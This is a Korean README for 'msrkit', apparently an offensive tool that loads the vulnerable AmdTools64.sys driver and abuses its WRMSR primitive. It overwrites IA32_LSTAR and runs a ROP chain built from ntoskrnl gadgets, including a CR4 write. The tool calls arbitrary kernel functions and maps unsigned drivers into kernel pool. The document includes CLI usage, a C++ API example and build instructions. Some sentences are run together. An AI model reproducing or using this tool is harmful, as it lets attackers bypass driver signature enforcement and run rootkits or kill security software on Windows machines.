
ROP 체인과 WRMSR 프리미티브를 결합하여 커널 함수를 호출하고 BYOVD(AmdTools64.sys)를 통해 서명되지 않은 드라이버를 매핑하는 개념
취약한 드라이버(AmdTools64.sys)의 wrmsr 프리미티브를 통해 ROP 체인으로 커널 함수를 호출하고 드라이버를 매핑하는 도구입니다.
NtLoadDriver를 통해 AmdTools64.sys를 로드합니다 (심볼릭 링크를 사용할 수 없는 경우 PnP devnode + GUID 기반 디바이스 인터페이스로 대체)0xFFF02804)을 통해 IA32_LSTAR를 읽습니다ntoskrnl.exe에서 ROP 가젯(pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret 등)을 스캔합니다IA32_LSTAR를 진입 가젯으로 덮어쓰고, FMASK에서 AC를 지우고, syscall을 발생시킵니다sysretq를 통해 사용자 모드로 복귀합니다드라이버 매핑도 동일한 경로를 따릅니다: ExAllocatePoolWithTag로 커널 풀을 할당하고, 준비된 PE 이미지(재배치 적용, 임포트 해결, 보안 쿠키 패치됨)를 복사하고, 매핑된 진입점을 호출합니다.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- 이름이 지정된 ntoskrnl 익스포트를 해결하고 호출합니다. 인수는 정수로 파싱됩니다(0x 접두사가 있는 16진수). 반환 값을 출력합니다.call_at -- 임의의 커널 가상 주소를 호출합니다.map -- 서명되지 않은 드라이버를 비페이징 풀에 매핑하고 진입점(ExAllocatePoolWithTag)을 호출합니다. 매핑된 베이스 주소를 출력합니다.unmap -- 주어진 베이스 주소에 이전에 매핑된 드라이버를 해제합니다.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
선택적으로 기존 드라이버 핸들을 전달하여 로드를 건너뛸 수 있습니다:
MSRK::INIT("AmdTools64.sys", existing_handle);
MSVC(v143+)가 포함된 Visual Studio와 MASM(ml64.exe)이 필요합니다.
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
출력: build/Release/msrkit.exe (CLI) 및 msrkit.lib (정적 라이브러리).
CFG는 비활성화됩니다(/guard:cf-). 스택 쿠키(/GS)는 활성화됩니다.